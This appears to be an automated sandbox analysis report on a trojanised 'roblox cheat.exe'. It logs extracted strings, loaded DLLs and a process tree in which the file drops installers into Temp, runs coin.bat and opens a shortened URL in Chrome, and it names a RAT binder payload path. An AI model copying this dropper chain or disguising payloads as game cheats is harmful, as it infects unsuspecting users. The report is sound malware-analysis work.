webview1805Miscellaneous-Launching-applications-and-unsafe-files1806Miscellaneous-Use-Pop-up-Blocker1809Allow-OpenSearch-queries-in-Windows-Explorer180EAllow-previewing-and-custom-thumbnails-of-OpenSearch-query-results-in-Windows-Explorer180FUser-Authentication-Logon1A00Allow-persistent-cookies-that-are-stored-on-your-computer1A02Allow-per-session-cookies-not-stored1A03Miscellaneous-Dont-prompt-for-client-certificate-selection-when-no-certificates-or-only-one-certificate-exists1A04Allow-3rd-party-persistent-cookies1A05Allow-3rd-party-session-cookies1A06Miscellaneous-Software-channel-permissions1E05ActiveX-controls-and-plug-ins-Binary-and-script-behaviors2000DotNET-Framework-reliant-components-Run-components-signed-with-Authenticode2001DotNET-Framework-reliant-components-Run-components-not-signed-with-Authenticode2004DotNET-Framework-Reliant-Components-Permissions-for-Components-with-Manifests2007Miscellaneous-Open-files-based-on-content-not-file-extension2100Miscellaneous-Web-sites-in-less-privileged-web-content-zone-can-navigate-into-this-zone2101Miscellaneous-Allow-script-initiated-windows-without-size-or-position-constraints2102Scripting-Allow-status-bar-updates-via-script2103Miscellaneo
Source: roblox cheat.exe	String found in binary or memory: Automatically logon with current username and passwordPrompt for user name and passwordAutomatic logon only in the Intranet zoneAnonymous logonDisableHigh SafetyEnablePromptAdministrator approvedNotReachableWifiWiredActiveX-controls-and-plug-ins-Download-signed-ActiveX-controls1001ActiveX-controls-and-plug-ins-Download-unsigned-ActiveX-controls1004ActiveX-controls-and-plug-ins-Run-ActiveX-controls-and-plug-ins1200ActiveX-controls-and-plug-ins-Initialize-and-script-ActiveX-controls-not-marked-as-safe-for-scripting1201Miscellaneous-Allow-scripting-of-Internet-Explorer-Web-browser-control1206ActiveX-controls-and-plug-ins-Allow-previously-unused-ActiveX-controls-to-run-without-prompt1208ActiveX-controls-and-plug-ins-Allow-Scriptlets1209ActiveX-controls-and-plug-ins-ActiveX-controls-and-plug-ins-Override-Per-Site-domain-based-ActiveX-restrictions120AActiveX-controls-and-plug-ins-Override-Per-Site-domain-based-ActiveX-restrict-ions120BScripting-Active-scripting1400Scripting-Scripting-of-Java-applets1402ActiveX-controls-and-plug-ins-Script-ActiveX-controls-marked-as-safe-for-scripting1405Miscellaneous-Access-data-sources-across-domains1406Scripting-Allow-Programmatic-clipboard-access1407Scripting-Enable-XSS-Filter1409Miscellaneous-Submit-non-encrypted-form-data1601Downloads-Font-download1604Run-Java1605Miscellaneous-Userdata-persistence1606Miscellaneous-Navigate-sub-frames-across-different-domains1607Miscellaneous-Allow-META-REFRESH1608Miscellaneous-Display-mixed-content1609Miscellaneous-Include-local-directory-path-when-uploading-files-to-a-server160AMiscellaneous-Installation-of-desktop-items1800Miscellaneous-Drag-and-drop-or-copy-and-paste-files1802Downloads-File-Download1803Miscellaneous-Launching-programs-and-files-in-an-IFRAME1804Launching-programs-and-files-in-webview1805Miscellaneous-Launching-applications-and-unsafe-files1806Miscellaneous-Use-Pop-up-Blocker1809Allow-OpenSearch-queries-in-Windows-Explorer180EAllow-previewing-and-custom-thumbnails-of-OpenSearch-query-results-in-Windows-Explorer180FUser-Authentication-Logon1A00Allow-persistent-cookies-that-are-stored-on-your-computer1A02Allow-per-session-cookies-not-stored1A03Miscellaneous-Dont-prompt-for-client-certificate-selection-when-no-certificates-or-only-one-certificate-exists1A04Allow-3rd-party-persistent-cookies1A05Allow-3rd-party-session-cookies1A06Miscellaneous-Software-channel-permissions1E05ActiveX-controls-and-plug-ins-Binary-and-script-behaviors2000DotNET-Framework-reliant-components-Run-components-signed-with-Authenticode2001DotNET-Framework-reliant-components-Run-components-not-signed-with-Authenticode2004DotNET-Framework-Reliant-Components-Permissions-for-Components-with-Manifests2007Miscellaneous-Open-files-based-on-content-not-file-extension2100Miscellaneous-Web-sites-in-less-privileged-web-content-zone-can-navigate-into-this-zone2101Miscellaneous-Allow-script-initiated-windows-without-size-or-position-constraints2102Scripting-Allow-status-bar-updates-via-script2103Miscellaneo
Source: roblox cheat.exe	String found in binary or memory: ShowFlashMessage('Worst: ' + (end-start).toFixed(2) + 'ms ' + TimerInfo[Token].name, 100);
Source: roblox cheat.exe	String found in binary or memory: EnabledByDefaultEnabledSetByGroupPolicyDisabledSetByGroupPolicyEnabledSetByDefaultPolicyDisabledSetByDefaultPolicySOFTWARE\Policies\Microsoft\EdgeUpdateWebView2 Runtime Not InstalledInstallWebView2RuntimeTimeoutMsUpdate{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}Install{F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}InstallDefault108.0.1462.37C:\buildAgent\work\ci_deploy_ninja_boot-x86_git\Client\WinUtil\src\WebView2Runtime.cppMicrosoftEdgeWebview2Setup.exe /silent /installFailed to create %sFailed to wait %sFailed to get exit processExitCode %s%s exited with failure processExitCode: %u/silent /installrunasFailed to admin execute %sFailed to admin wait %sFailed to admin get exit processExitCode %sSetDefaultDllDirectoriesC:\buildAgent\work\ci_deploy_ninja_boot-x86_git\Client\WinUtil\src\DLLHelpers.cppfailed to load message resource %uC:\buildAgent\work\ci_deploy_ninja_boot-x86_git\Client\WinUtil\src\LocalizedText.cppfailed to lock resource %ufailed to find message resource %ufailed to find RCDATA resource %ufailed to get size of resource %uNULL argumentC:\buildAgent\work\ci_deploy_ninja_boot-x86_git\Client\WinUtil\src\DirectXVersion.cppD3D11CreateDeviced3d11.dllFailed to load function D3D11CreateDeviceFailed to create directX device
Source: roblox cheat.exe	String found in binary or memory: iphlpapi.dllif_nametoindexws2_32FreeAddrInfoExWGetAddrInfoExCancelGetAddrInfoExWLoadLibraryExA\/AddDllDirectoryh1h2h3%10s %512s %u %10s %512s %u "%64[^"]" %u %urt%s %s%s%s %u %s %s%s%s %u "%d%02d%02d %02d:%02d:%02d" %u %d
Source: roblox cheat.exe	String found in binary or memory: set-addPolicy
Source: roblox cheat.exe	String found in binary or memory: id-cmc-addExtensions

Source: unknown	Process created: C:\Users\user\Desktop\roblox cheat.exe "C:\Users\user\Desktop\roblox cheat.exe"
Source: C:\Users\user\Desktop\roblox cheat.exe	Process created: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe "C:\Users\user~1\AppData\Local\Temp\robloxPX1instaler.exe"
Source: C:\Users\user\Desktop\roblox cheat.exe	Process created: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe "C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe"
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\coin.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://2no.co/24RXx6
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2224 --field-trial-handle=2184,i,14828535627695779647,3084874413555431357,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\roblox cheat.exe	Process created: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe "C:\Users\user~1\AppData\Local\Temp\robloxPX1instaler.exe"	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Process created: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe "C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\coin.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://2no.co/24RXx6	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2224 --field-trial-handle=2184,i,14828535627695779647,3084874413555431357,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\roblox cheat.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ndfapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wdi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ndfapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wdi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ndfapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wdi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Users\user\Desktop\roblox cheat.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe	Automated click: OK
Source: C:\Windows\System32\cmd.exe	Automated click: OK
Source: C:\Windows\System32\cmd.exe	Automated click: OK
Source: C:\Windows\System32\cmd.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\roblox cheat.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: roblox cheat.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: roblox cheat.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: roblox cheat.exe

Static file information: File size 6410752 > 1048576

Source: roblox cheat.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x60fc00

Source: roblox cheat.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: roblox cheat.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\buildAgent\work\ci_deploy_ninja_boot-x86_git\build.ninja\common\vs2019\x86\release\Installer\Windows\RobloxPlayerInstaller.pdb source: roblox cheat.exe, robloxPX1instaler.exe.0.dr
Source:	Binary string: \rat\BitJoiner\payload\obj\Debug\payload.pdb source: roblox cheat.exe
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: roblox cheat.exe, cheatinstaler cheatinstalerF6R54T.exe.0.dr
